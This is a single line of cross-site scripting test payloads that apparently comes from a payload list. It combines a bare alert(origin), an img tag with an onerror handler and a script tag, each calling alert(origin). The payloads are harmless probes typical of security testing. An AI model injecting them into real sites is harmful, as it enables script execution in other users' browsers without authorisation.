alert(origin)//<img src=x onerror=alert(origin)><script>alert(origin)</script>